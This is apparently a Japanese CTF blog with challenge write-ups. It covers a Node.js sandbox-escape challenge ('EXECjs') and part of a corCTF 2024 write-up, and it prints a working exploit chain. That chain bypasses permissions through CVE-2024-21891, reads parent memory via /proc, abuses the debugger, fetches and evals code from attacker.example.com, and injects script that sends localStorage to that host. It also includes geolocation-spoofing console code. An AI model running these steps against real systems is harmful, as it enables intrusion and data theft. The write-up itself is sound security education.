^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z

ほかに手段はないでしょうか。sshd_config で明示的に有効化されていないことから、SFTPを使っての flag.txt の取得はできません。ポートフォワーディングも意味がありません。

実は、Ctrl + CSIGINT が、Ctrl + ZSIGTSTP が送信できる以外にも、Ctrl + \*2SIGQUIT というシグナルを送ることもできます。これを何度か試してみると、次のように sleep infinity だけを停止させてフラグが得られました。

$ sshpass -p ctf ssh ctf@localhost -p 22222
^\/app/zzz.sh: line 2:   299 Quit                    sleep infinity
flag{eternal_spring_dream_27ff12ce}
Connection to localhost closed.

first bloodはkoufu193さんでした。おめでとうございます。

問題文はZzz、フラグは永遠に眠り続ける sleep からの連想で、ドレミー・スイート戦で流れる「永遠の春夢」です。Dockerfilecompose.yml を含めても50行に満たない程度にシンプルで、新規性があり少し考える必要のある問題を作りたかったと思いできたものです。シグナルについて調べていたところ Ctrl + \SIGQUIT を送信できるらしいと知り、なにか問題にできないかと思った結果としてこれができました。非常にシンプルなので過去にどこかのCTFで出題されていそうに思いましたが、私が調べた限りでは見つかりませんでした。もし出題実績があれば教えてください。

[Web 500] EXECjs (1 solves, satoki)

TsukuCTF 2023のEXECpyをパクってNode.js版を作りました。RCE2XSSしてください。

(InstancerのURL)

※ローカルでflagが取得できることを確認した後にリモートで試してください。
※添付ファイル中のcrawlerは、ローカルで試しやすいよう改変を加えたものです。本物の問題サーバでは、visit 関数を除いて大きく異なるコードが動いていますので、ご注意ください。

添付ファイル: execjs.zip

問題の概要

まず問題文等から得られる情報として、ほかの問題はチーム間で共有の環境を使っているのに対して、この問題ではチームごとにinstancerを使って独立した環境が用意されるようになっています。ここから、破壊的な変更を加えるような攻撃が可能なのかもしれないと推測できます。

与えられたファイルを使って、問題サーバをローカルで立ち上げます。Webブラウザでアクセスすると次のような画面が表示されました。どうやら任意のJSコードが実行できるようです。

ソースコードを見ていきましょう。compose.yml は次のとおりです。先程見た問題サーバが動いている backend というサービスの他にも、XSS botらしき crawler というサービスがあります。

services:
  backend:
    build: backend
    init: true
    cap_add:
      - SYS_PTRACE # note: I added this capability to make the challenge easier :p
    ports:
      - "3000:3000"
  crawler:
    build: crawler
    restart: unless-stopped
    ports:
      - "3001:3000"
    environment:
      - FLAG=flag{redacted}

crawler から見ていきましょう。もっとも重要なのは index.js ですが、その内容は次の通りです。ユーザが立ち上げたインスタンスへアクセスし、Local Storageにフラグを格納してから5秒待つという処理が行われています。それだけです。

ユーザから報告されたURLへアクセスする等のアクションは行われませんから、なんとかして backend に任意のコンテンツを返させる必要があります。それで、localStorage.flag を外部へ送信させたいところです。

import { chromium } from 'playwright';
import express from 'express';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'flag{dummy}';
const SITE = 'http://backend:3000'; // note: this will be replaced to the URL of your own instance

function sleep(t) {
    return new Promise(r => setTimeout(r, t));
}

const visit = async () => {
    console.log('visiting');

    let browser;
    try {
        browser = await chromium.launch({
            executablePath: '/usr/bin/chromium',
            headless: true,
            pipe: true,
            args: [
                '--disable-dev-shm-usage',
                '--disable-gpu',
                '--js-flags=--noexpose_wasm,--jitless',
            ],
            dumpio: true
        });

        const context = await browser.newContext();
        const page = await context.newPage();

        await page.goto(SITE, { timeout: 3000, waitUntil: 'networkidle' });
        page.evaluate(flag => {
            localStorage.flag = flag;
        }, FLAG);
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (e) {
        console.log(e);
    } finally {
        if (browser) await browser.close();
    }

    console.log('done');
};

const app = express();

app.get('/', (req, res) => {
    visit();
    return res.send('crawling');
});

app.listen(PORT, () => {
    console.log(`listening on port ${PORT}`);
});

backend の方を見ていきましょう。index.js は次のとおりです。シンプルな構造で、/ にJSコードをPOSTすると safeEval という関数によって実行してその結果を返します。CSPが全ページに適用されており、default-src 'none' とどのようなリソースの読み込みも許可されていません。

import fs from 'node:fs/promises';

import express from 'express';
import { safeEval, escape } from './util.js';

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', "default-src 'none'"); // 😉
    next();
});

const indexHtml = (await fs.readFile('index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml.replaceAll('{OUTPUT}', ''));
});
app.post('/', async (req, res) => {
    let result = '';
    const { code } = req.body;

    if (code && typeof code === 'string') {
        try {
            result = (await safeEval(code)).toString();
        } catch {
            result = 'An error occurred.';
        }
    }

    const html = indexHtml.replaceAll('{OUTPUT}', escape(result));
    res.setHeader('Content-Type', 'text/html');
    return res.send(html);
});

app.listen(PORT, () => {
    console.log(`listening on port ${PORT}`);
});

safeEvalutil.js で定義されています。一時ディレクトリにユーザから与えられたJSコードをファイルとして保存した後に、Node.jsで実行しています。

この際、--experimental-permission というオプションが付与されています。これはNode.jsで現在実験的に実装されている機能で、ファイルの読み込みや子プロセスの作成といった機能について、コマンドラインオプションから明示的に許可されない限り利用できないというものです。今回は --allow-fs-read=${tmpdir} のみが与えられており、JSが存在するディレクトリ下のファイルを読む以外に、制限されている機能は利用できません。

import child_process from 'node:child_process';
import fs from 'node:fs/promises';

import tmp from 'tmp';

export async function safeEval(code) {
    let result = null;

    const { name: tmpdir, removeCallback } = tmp.dirSync();
    const txtpath = `${tmpdir}/sample.txt`;
    const jspath = `${tmpdir}/index.js`;

    try {
        await fs.writeFile(txtpath, 'hello');
        await fs.writeFile(jspath, code);

        const proc = child_process.execFileSync('node', [
            '--experimental-permission',
            `--allow-fs-read=${tmpdir}`,
            '--noexpose_wasm',
            '--jitless',
            jspath
        ], {
            timeout: 60_000,
            cwd: tmpdir,
            stdio: ['ignore', 'pipe', 'pipe']
        });
        result = proc;
    } catch(e) {
        console.error('[err]', e);
    } finally {
        await fs.unlink(txtpath);
        await fs.unlink(jspath);
        removeCallback();
    }

    return result;
};

const escapeTable = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
};
export function escape(html) {
    return html.replaceAll(/[&<>"']/g, s => {
        return escapeTable[s];
    })
};

サンドボックスから脱出して、Webサーバが動いているプロセスを乗っ取って任意のレスポンスを返させたいわけですが、どのようにすればよいでしょうか。材料を集めつつ考えていきましょう。

CVE-2024-21891によるPath Traversal

backendDockerfile から、Node.jsのバージョンはv20.11.0とやや古いことがわかります。Node.jsの20系は2026年4月までサポートということでまだまだ現役ではありますが、2024年8月段階での20系の最新バージョンはv20.16.0です。v20.11.0以降のチェンジログを見ると、複数のCVE番号が発番されていることがわかります。これらのうち、なにか使えそうなものはないでしょうか。

ひとつはCVE-2024-21891で、どうやらファイルシステム回りのpermissionの実装に問題があるためにバイパスができたようです。許可されたファイルへのアクセスであるかを確認する際に、node:fs モジュールがパスの正規化時にユーザによって置き換え可能な関数に頼っているために、その関数を書き換えることでバイパスができるという脆弱性*3のようです。

PoCはすぐには見つかりませんが、脆弱性を修正したと思われるコミットを見ると、path.toNamespacedPath を書き換えても問題なく動作するかを確認するテストコードが追加されています。これが通るか試してみましょう。

次のようなコードを用意します。

const fs = require('fs/promises');
const path = require('path');
path.toNamespacedPath = (path) => { return `${__dirname}/../../etc/passwd`; };

(async () => {
    console.log((await fs.readFile('.')).toString());
})();

実行すると、/etc/passwd を読むことができました。

デバッガを起動させ、WebSocketのエンドポイントのURLを得る

ファイルの読み込みに関してはセキュリティ機構のバイパスができるようになりましたが、それ以外の子プロセスの作成やファイルの書き込みといったことはできません。親プロセスであるWebサーバのレスポンスの書き換えというゴールまではまだ遠いわけです。

次の一手として、デバッガの利用を考えます。親プロセスのデバッガを起動させて接続し、親プロセスのコンテキストでJSコードを実行させてサンドボックスから脱出したり、あるいはWebサーバのハンドラを書き換えてレスポンスを操作したりできないでしょうか。

上述のNode.jsのドキュメントを読むとわかるように、デバッガの起動は簡単にできます。Node.jsのプロセスに対して SIGUSR1 というシグナルを送信するだけです。親プロセスのPIDは process.ppid や一時ディレクトリのパスから得られますし、SIGUSR1 シグナルの送信も特にpermissionsの制約を受けることなく process._debugProcess によって行えます。

次のようなJSコードを実行します。

const ppid = require.main.path.split('-')[1];
process._debugProcess(+ppid);

Dockerのログを見てみると、次のようにデバッガが起動している様子が確認できました。ここで表示されている ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165 というようなWebSocketエンドポイントへ接続することでデバッグが可能です。

backend-1  | Debugger listening on ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165
backend-1  | For help, see: https://nodejs.org/en/docs/inspector

WebSocketのエンドポイントのURLにはUUIDが含まれていますが、これはデバッガの起動のたびに変わります。サンドボックスの内側からこのURLを得るにはどうすればよいでしょうか。これは http://127.0.0.1:9229/json/list から得る方法があります…が、今回は使えません。Dockerfile--inspect-publish-uid=stderr というコマンドラインオプションが付与されているためです。

--inspect-publish-uid はどこからWebSocketのエンドポイントを得られるかを指定できるコマンドラインオプションです。stderr のみが指定されている場合は、標準エラー出力にしかこのURLが出力されません。http がその値として含まれていない限り、/json/list 等のHTTP APIからのURLの取得はできません。

HTTP APIからのURLの取得ができないのであれば、どうすればよいでしょうか。/proc/<pid>/mem です。今回は親プロセスと子プロセスは同じUID/GIDですし、CAP_SYS_PTRACE というcapabilityが追加されていますから、/proc/<pid>/mem を読むことができます。メモリのどこかにはUUIDがあるでしょう。

メモリからUUIDを探し出すJSコードは次の通りです。

const fs = require('fs/promises');
const path = require('path');
const ppid = require.main.path.split('-')[1];
path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; };

(async () => {
    const maps = await fs.readFile('.') + '';

    path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; };
    const f = await fs.open('.');

    let result = new Set();
    const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
    for (const line of maps.split('\n')) {
        if (!line.includes('-')) continue;
        if (!line.includes('r')) continue;

        let [start, end] = line.split(' ')[0].split('-');
        start = parseInt(start, 16);
        end = parseInt(end, 16);
        const size = end - start;

        const buf = Buffer.alloc(size);
        try {
            await f.read(buf, 0, size, start);
        } catch {
            continue;
        }

        let j = 0;
        for (let i = 0; i < size; i++) {
            switch (m[j]) {
                case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break;
                case 1: if (buf[i] === 0x2d) j++; else j = 0; break;
            }

            if (j === m.length) {
                result.add(buf.slice(i - m.length + 1, i + 1).toString());
                j = 0;
            }
        }
    }

    console.log(result);
})();

実行すると、ひとつだけUUIDが見つかりました。WebSocketのエンドポイントのものと一致しています。

デバッガとの通信

これでデバッガのエンドポイントにアクセスするための情報が揃いましたが、デバッガとはWebSocketを通じて喋る必要があります。Node.jsでビルトインに WebSocket を利用できるようになったのはv22.0.0になってからですので、なんとかして自前でWebSocketクライアントを用意する必要があります。

wsというPure JSで作られたNode.js向けのWebSocketライブラリがありますから、適当にバンドルしてやりましょう。esbuild を使って、次のような内容の index.js を用意し、esbuild index.js --bundle --minify --platform=node --outfile=out.js というようなコマンドでバンドルします。これでWebSocketクライアントが利用できます。

globalThis.WebSocket = require('ws').WebSocket;

デバッグのためのプロトコルでは、Runtime.evaluate というメソッドを使ってJSコードの実行ができます。親プロセスのコンテキストでJSコードを実行すればサンドボックスからの脱出ができそうですが、一旦立ち止まって、この後どう進めていくか考えましょう。

Webサーバの GET / のハンドラを書き換えるのがゴールであるわけですが、そのためにはExpress由来のオブジェクトにアクセスする必要があります。そのために、次の関数にブレークポイントを置いた上で、ここに差し掛かった際にハンドラを書き換えるという方法が考えられます。

app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml.replaceAll('{OUTPUT}', ''));
});

ただ、今回のWebアプリは一度にひとつのリクエストしか処理できないような構成になっています。GET / にブレークポイントを置いたところで、発火させられません。サンドボックス中でブレークポイントの設置や到達までの待機をしたとして、このコードの実行は POST / のハンドラ中で行われているわけですから、別途 GET / へのリクエストを送っても、コードの実行が終了するまで受け付けてくれません。

この問題を解決する方法として、別プロセスを立ち上げてブレークポイントの設置や、ブレークポイントへの到達時に GET / のハンドラを書き換えるような処理をさせるということが考えられます。Runtime.evaluate メソッドによって、親プロセスのコンテキストで process.binding('spawn_sync').spawn を使い、/bin/bash -c '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &' というような感じで立ち上げましょう。事前に /tmp/poyoyoyoe.js へJSコードを書き込んでおく必要がありますが、これも process.binding でやれるでしょう。

解く

さて、あとはここまでで立てた方針を実装していくだけです。まず、次のようなexploitを用意します。親プロセスのデバッガを起動させ、procfsからWebSocketのエンドポイントのURLを得て、デバッガに接続して…というような手順を踏みます。solve.php については後述しますが、この solve.php に含まれるJSコードが実行されることで、GET / のハンドラが書き換えられます。

import re
import time
import httpx

with open('compile-code/out.js', 'r') as f:
    ws = f.read() + '\n'

with httpx.Client(base_url='http://localhost:3000') as client:
    def execute(code, use_ws=False):
        if use_ws:
            code = ws + code
        r = client.post('/', data={
            'code': code
        })
        return re.findall(r'<pre>(.*?)</pre>', r.text, re.MULTILINE | re.DOTALL)[0].strip()

    # 1. 親プロセスにSIGUSR1を投げて強引にデバッガを起動させる
    execute('''
const ppid = require.main.path.split('-')[1];
process._debugProcess(+ppid);
'''.strip())
    time.sleep(1)

    # 2. /proc/{pid}/下のmapsとmemを読んでWebSocketのURLを得る
    ws_uuid = execute('''
const fs = require('fs/promises');
const path = require('path');
const ppid = require.main.path.split('-')[1];
path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; };

(async () => {
    const maps = await fs.readFile('.') + '';

    path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; };
    const f = await fs.open('.');

    let result;
    const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
    for (const line of maps.split('\\n')) {
        if (!line.includes('-')) continue;
        if (!line.includes('r')) continue;

        let [start, end] = line.split(' ')[0].split('-');
        start = parseInt(start, 16);
        end = parseInt(end, 16);
        const size = end - start;

        const buf = Buffer.alloc(size);
        try {
            await f.read(buf, 0, size, start);
        } catch {
            continue;
        }

        let j = 0;
        for (let i = 0; i < size; i++) {
            switch (m[j]) {
                case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break;
                case 1: if (buf[i] === 0x2d) j++; else j = 0; break;
            }

            if (j === m.length) {
                result = buf.slice(i - m.length + 1, i + 1).toString();
                break;
            }
        }
    }

    console.log(result);
})();
'''.strip())
    ws_endpoint = f'ws://127.0.0.1:9229/{ws_uuid}'
    print(ws_endpoint)

    # 3. デバッガのRuntime.evaluate + process.bindingでsandbox escapeに持ち込む。手順4-6はsolve.phpに存在
    # なお、手順4以降は/proc/{pid}/memの書き換え等、別の方法でもいける気がする
    r = execute('''
const ws = new WebSocket('WS_ENDPOINT');

const code = `
setTimeout(async () => {
    process.binding('spawn_sync').spawn({
        file: '/bin/bash',
        // refer attached solve.php
        args: ['/bin/bash', '-c', 'echo "(async()=>{ const r = await fetch(' + "'http://attacker.example.com/solve.php?ws=WS_ENDPOINT'" + '); eval(await r.text()); })()" > /tmp/poyoyoyoe.js'],
        envPairs: [],
        stdio: [
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true }
        ]
    });

    process.binding('spawn_sync').spawn({
        file: '/bin/bash',
        args: ['/bin/bash', '-c', '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &'],
        envPairs: [],
        stdio: [
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true }
        ],
    });
}, 5000);
`;

ws.on('open', () => {
    ws.send(JSON.stringify({
        id: 1,
        method: 'Runtime.evaluate',
        params: {
            expression: code
        }
    }));
});

setTimeout(() => { ws.close(); }, 3000);
'''.replace('WS_ENDPOINT', ws_endpoint).strip(), True)

    time.sleep(10)

    # 7. 一応レスポンスが書き換わっているか確認
    r = client.get('/')
    print(r.text)

    # 8. 完了。admin botに見てもらおう

solve.php は次の通りです。Debugger.enable メソッドで /app/index.js のScriptIdを得て、それを元に GET / のハンドラへ Debugger.setBreakPoint メソッドでブレークポイントを置きます。ブレークポイントへ到達したことを意味する Debugger.paused イベントが発生するまで待ち、そのタイミングで Debugger.evaluateOnCallFrame により GET / のハンドラを書き換えます。

<?php echo file_get_contents('out.js'); // compile-code下でnpm run buildして出力されたJSファイル ?>

function sleep(t) {
    return new Promise(r => setTimeout(r, t));
}

const ws = new WebSocket('<?= $_GET['ws'] ?>');

ws.on('error', console.error);

// 4. まずは情報収集。/app/index.jsのScriptIdを得たい
ws.on('open', () => {
    ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
    ws.send(JSON.stringify({ id: 2, method: 'Debugger.enable' }));
});

ws.on('message', async data => {
    const d = JSON.parse(data.toString());

    // 5. /app/index.jsのScriptIdをゲット。GET /にブレークポイントを置く
    if (d.method === 'Debugger.scriptParsed') {
        if (!d.params.embedderName.includes('/app/index.js')) return;
        ws.send(JSON.stringify({
            id: 3, method: 'Debugger.setBreakpoint',
            params: {
                location: { scriptId: d.params.scriptId, lineNumber: 16 }
            }
        }));
    }

    // 6. setIntervalで回していたおかげでGET /のハンドラに到達
    // reqからたどってLayerのhandleを書き換えることで、GET /のハンドラを置き換えられる
    // CSPヘッダを削除しつつ、レスポンスとしてlocalStorageを外部に送信するものへ変える
    if (d.method === 'Debugger.paused') {
        ws.send(JSON.stringify({
            id: 4, method: 'Debugger.evaluateOnCallFrame',
            params: {
                callFrameId: d.params.callFrames[0].callFrameId,
                //expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>alert(123)</script>') }`
                expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script>') }`
            }
        }));
        await sleep(1000);
        ws.send(JSON.stringify({
            id: 5, method: 'Debugger.resume'
        }));
        await sleep(1000);
        ws.close();
    }
});

setInterval(() => { fetch('http://localhost:3000'); }, 500);
setTimeout(() => { ws.close(); }, 10_000);

exploitを実行すると、問題サーバが <script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script> をレスポンスとして返すようになりました。CSPも解除されています。これをXSS botに報告することで、フラグが得られました。

flag{kaenbyou_rin_fe6d4c7d}

問題文の通り、以前SatokiさんがTsukuCTF 2023にEXECpyという問題を出していたことから、そのオマージュとしてJavaScriptでRCE2XSSする問題を作成したものです。フラグは特に問題の要素とは関係なく、私が東方で一番好きなキャラのお燐です。

難易度を最上のsatokiと設定した問題は0 solvesを目指す、というSatokiさんからの要請があったので、なるべく難しくなるよう調整しました。パズル的な方向で難しくしたかったのですが、私の力不足のために腕力でなんとかする方向で難しい問題となりました。

難易度satokiとはいえ、開催数週間前の時点でDiscordサーバには150名超のユーザがいた上に、Webに非常に強いプレイヤーが国内外から複数名入っていたことから、1-3 solves程度は出るかもしれないと考えていました。また、サンドボックス中ですら実行できるコードの自由度が高いことから、簡単な非想定解法が出ることも危惧していました。

first bloodはstrellicさんでした。おめでとうございます。CTFの開始から7時間弱ということで、かなりの速度で解かれたことがわかります。

主な要素は以下のような感じでしょうか。どれだけNode.jsとそのデバッグプロトコルを知っているか、また調べられるかという雰囲気の問題でした。過程としては全体的に面倒なものの、一番面倒なパートであるV8 Inspector ProtocolでのおしゃべりはUIUCTF 2021 - wasmcloudcorCTF 2021 - saasmeといった出題実績がありexploitがある程度流用できますし、そもそもSatokiCTFはレイドバトルでありチーム間での情報共有が許可されているというコンセプトだったので、問題なかろう*4と思い出題しました。

  • process._debugProcess (SIGUSR1シグナルの送信)を使ったNode.jsのデバッガの立ち上げ
  • 既知のNode.jsの脆弱性を使ったPath Traversal
  • /proc/<pid>/mem からのWebSocketエンドポイントの取得
  • Node.jsのデバッガとの通信によるサンドボックスからの脱出
  • node index.js のプロセスを止めずにレスポンスを書き換えるパズル

WebSocketエンドポイントについて、実は元々は http://127.0.0.1:9229/json からの取得ができるようになっていました。これは意図したものでしたが、そのままではsaasmeと大部分が解法が被ってしまうのではないかという恐れから、またNode.jsのソースコードを確認したところ --inspect-publish-uid オプションでこのHTTPのAPIを潰せるとわかったことから、問題にこのコマンドラインオプションを組み込むことにしました。/proc/<pid>/mem を読ませるために必要だったために CAP_SYS_PTRACE というcapabilityを追加しています*5が、これはちょっと露骨だったかもしれません。

ほか、情報収集をしている中で、今年r3kapigが開催したR3CTF 2024においてもJustMongoという類題が出題されていることを知りました。これはEXECjsと同じように --experimental-permission--allow-fs-read=(一時ディレクトリ) というオプションでサンドボックスを実現しているものですが、どうやらWebAssembly + WASIでサンドボックスからの脱出ができるようでした。対象のバージョンはv20.14.0、EXECjsで使っているバージョンはv20.11.0ということで、明らかにaffectedです。しかし、CVE-2024-21891はv20.14.0ではすでに修正されてしまっていますから、アップデートはできません。なんとかできないかと考え、V8のオプションである --noexpose_wasm によって WebAssembly へのアクセスを潰すことにしました。

ちなみに、今回用いられていたinstancerは、この問題のために作成したものです。すぽんとコンテナをspawnしてくれるので名前はSupponとしました。Container Spawner, Klodd, deploy-dynamicといった既存のツールを使う選択肢もありましたが、特にそうすべき理由もなく新たに作りました。新造ということでやや怖くはありましたが、SatokiCTFは実験場みたいなものですし。

(2024-09-01追記)wasiを使わなかったり(HackerOneでの報告も参照のこと)、v8.setFlagsFromString で強引に --no-jitless--expose-wasm を生やして WebAssembly を使えるようにしたりできるようです。すごい。(追記終わり)

*1:オトメ*ドメインになりました

*2:Ctrl + 4で送れる環境もあるようです。それはそう。stty quit …でどんなキーでも送ることができます

*3:後からHackerOneの報告を確認したところ、報告者はXionさんでした。世間は狭い

*4:saasmeの作問者として名を連ねていたstrellicさんも、SatokiCTFのDiscordサーバへ入っていることを観測していたのもあり…

*5:つまり、"# note: I added this capability to make the challenge easier :p" というのは半分嘘です。SYS_PTRACEなしでも解ける方法があれば教えてください

corCTF 2024 writeup

7/27 - 7/29という日程で開催された。BunkyoWesternsで参加して10位。Webの3問でfirst bloodを取ることができて嬉しかったものの、それらを解いて以降は振るわず。2 solvesが出ていた[Web] iframe-noteは解きたかったところだが、私ができていたのはPrototype Pollutionの実現までで、フラグの取得までは遠かった。


[Misc 151] touch grass 2 (60 solves)

this challenge should be a walk in the park

(問題サーバのURL)

ソースコードは与えられていない。とはいえ、問題サーバにアクセスするとやるべきことはすぐに理解できる。Webページによる位置情報の取得を許可すると、近くの公園がリストアップされる。いずれかを選ぶと位置情報の追跡が始まり、提示されたルートをたどってその公園に着くとフラグが与えられる。その名前の通り、家から外に出ればフラグが得られる問題だ。

しかし、私がこの問題に取り組んでいたのは14~15時ごろと、とても夏真っ只中の日本で外出すべき時間帯ではなかった。本来であれば問題の趣旨に則って散歩をすべきだし、心からそのようにしたいと思っていたけれども、残念ながらこの環境下では好ましいとは思えず、したがって、苦渋の決断ながら家から出ずにチートで解くことを決意した。このようなことはしたくなかったが、仕方がない。いやあ、仕方がない*1

このWebアプリは主に以下の画面からなるが、いずれもパスは / であり変わらない。パスは変わらないが、フェーズが進むごとに返ってくるHTMLが変わる。それぞれローカルに保存しつつ、その処理がどうなっているかやサーバ側にどのようなリクエストが送信されるかを見た。

  • チームの認証画面
  • 外出先の候補リストから好きな公園を選ぶ画面
  • 選んだ公園までのルートが表示される画面

まず外出先の候補リストが表示される画面について、この時点で最寄りの公園を選ぶために初めて位置情報が使われる(サーバに送信され、候補が返ってくる)けれども、せっかくなのでここからチートしたい。関連する処理は次の通り。ある程度の正確性があるかをチェックした後に、/api/locate へ位置情報を投げ、公園候補を得ているので、この呼び出し前にブレークポイントを置き、[latitude, longitude, accuracy] = [34.68164660634514, 135.848463749906, 0] のようなコードを実行して位置情報を書き換えたい。

// …
                const { latitude, longitude, accuracy } = await new Promise(r => navigator.geolocation.getCurrentPosition(position => r(position.coords), (error) => {
                    $("#status").innerHTML = `sorry, we couldn't get your location! error: ${error.message}`;
                    throw new Error(error);
                }, { enableHighAccuracy: true, timeout: 5000 }));
                
                console.log(latitude, longitude, accuracy);

                if (accuracy && accuracy > 100) {
                    $("#status").innerHTML = "sorry, we couldn't get an accurate location! please try again on a different device!";
                    return;
                }

                $("#status").innerHTML = "finding some grass near you...";

                const r = await fetch("/api/locate", {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded"
                    },
                    body: `lat=${encodeURIComponent(latitude)}&lon=${encodeURIComponent(longitude)}`
                });
                const parkData = await r.json();
// …

位置情報を書き換えてコードの実行を再開すると、無事春日大社にいるように認識させられたらしく、奈良公園が候補に出た。これを選ぼう。

これで、次の位置情報を追跡する画面に移動した。表示されているルートに従って移動すればフラグがもらえるはずだ。「奈良公園」としてOpenStreetMapで指定されている範囲の重心だろうか、が目的地となっている。途中道を外れて以降は目的地まで立入禁止エリアなのでヤバいわけだが、我々は実際にその場にいるわけではないので知ったこっちゃない。

では、どのようにユーザの移動が監視されているか。対応するコードは以下の通り。5秒ごとに位置情報を取得して /api/update に投げている様子が確認できる。こいつが残りのチェックポイントのリストだとか、もし全チェックポイントを通過していればフラグだとかを返してくれるらしい。

// …
                const getLocation = () => new Promise(r => navigator.geolocation.getCurrentPosition(position => r(position.coords), (error) => {
                    $("#status").innerText = "sorry, we couldn't get your location! error: " + error.message;
                    throw new Error(error);
                }, { enableHighAccuracy: true, timeout: 5000 }));  
// …
                const updateLocation = async () => {
                    const location = await getLocation();
                    $("#status").innerHTML = "";

                    const r = await fetch("/api/update", {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/x-www-form-urlencoded"
                        },
                        body: `lat=${encodeURIComponent(location.latitude)}&lon=${encodeURIComponent(location.longitude)}`
                    });

                    const data = await r.json();

                    if (data.error) {
                        $("#status").innerHTML = data.error;
                        clearInterval(timer);
                        return;
                    }

                    if (data.flag) {
                        $("#flag").innerHTML = data.flag;
                    }

                    while (markers.length) {
                        markers.pop().remove();
                    }

                    for (const waypoint of data.data) {
                        const marker = L.circle(waypoint.p, { radius: 25, color: waypoint.v ? 'blue' : 'red' }).addTo(m);
                        markers.push(marker);
                    }
                };

                const timer = setInterval(updateLocation, 5_000);
                updateLocation();
// …

チェックポイントのリストを得て、30秒ごとに次の地点へ移動しているようにAPIを叩くコードを書き、DevToolsのコンソールで実行する。この更新の頻度が高すぎるとズルをしているとバレてしまうので気をつけたい。また、前述のようにこのページでは setInterval を使って5秒ごとに本物の位置情報の送信がされているので、タイマーのIDをブルートフォースして clearInterval で無理やり止める。

for (let i = 0; i < 0x10000; i++) {
    clearInterval(i);
}

async function up(lat, lon) {
    const r = await fetch("/api/update", {
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: `lat=${encodeURIComponent(lat)}&lon=${encodeURIComponent(lon)}`
    });
    return await r.json();
}

function sleep(ms) {
    return new Promise(r => setTimeout(r, ms));
}

const locs = await up(34.68164660634514, 135.848463749906);

for (const loc of locs.data) {
    console.log(loc.p, await up(...loc.p));
    await sleep(30000);
}
console.log(await up(locs.park.center.lat, locs.park.center.lon));

しばらく待つとチートが完了し、フラグが得られた。

corctf{have_a_nice_walk_home_:)}

チートがバレると以下のようにDiscordサーバの #hall-of-shame チャンネルで晒し上げられる。チェックポイント間の距離を見つつ位置情報の報告を行う頻度を調整し、バレないようにズルをしよう。なお、この晒し上げはあくまで運営の冗談*2であって、チートがバレても特にお咎めはない。解いたログが取り消されるということもない。

[Web 138] rock-paper-scissors (79 solves)

can you beat fizzbuzz at rock paper scissors?

(InstancerのURL)

添付ファイル: rock-paper-scissors.tar.gz

じゃんけんアプリが与えられる。

ソースコードは次の通り。100行にも満たないので全体を貼り付ける。/flag というAPIを見ると分かるように、1337点以上をゲットできるとフラグがもらえるらしい。ただし、1回じゃんけんに勝つと1点増えるが、一度でも負けるかあいこになると0点からやり直しという仕様であるから、フラグを得るためには1337連勝しなければならない。無理なのでズルをしよう。

import Redis from 'ioredis';
import fastify from 'fastify';
import fastifyStatic from '@fastify/static';
import fastifyJwt from '@fastify/jwt';
import fastifyCookie from '@fastify/cookie';
import { join } from 'node:path';
import { randomBytes, randomInt } from 'node:crypto';

const redis = new Redis(6379, "redis");
const app = fastify();

const winning = new Map([
    ['🪨', '📃'],
    ['📃', '✂️'],
    ['✂️', '🪨']
]);

app.register(fastifyStatic, {
    root: join(import.meta.dirname, 'static'),
    prefix: '/'
});

app.register(fastifyJwt, { secret: process.env.SECRET_KEY || randomBytes(32), cookie: { cookieName: 'session' } });

app.register(fastifyCookie);

await redis.zadd('scoreboard', 1336, 'FizzBuzz101');

app.post('/new', async (req, res) => {
    const { username } = req.body;
    const game = randomBytes(8).toString('hex');
    await redis.set(game, 0);
    return res.setCookie('session', await res.jwtSign({ username, game })).send('OK');
});

app.post('/play', async (req, res) => {
    try {
        await req.jwtVerify();
    } catch(e) {
        return res.status(400).send({ error: 'invalid token' });
    }
    const { game, username } = req.user;
    const { position } = req.body;
    const system = ['🪨', '📃', '✂️'][randomInt(3)];
    if (winning.get(system) === position) {
        const score = await redis.incr(game);

        return res.send({ system, score, state: 'win' });
    } else {
        const score = await redis.getdel(game);
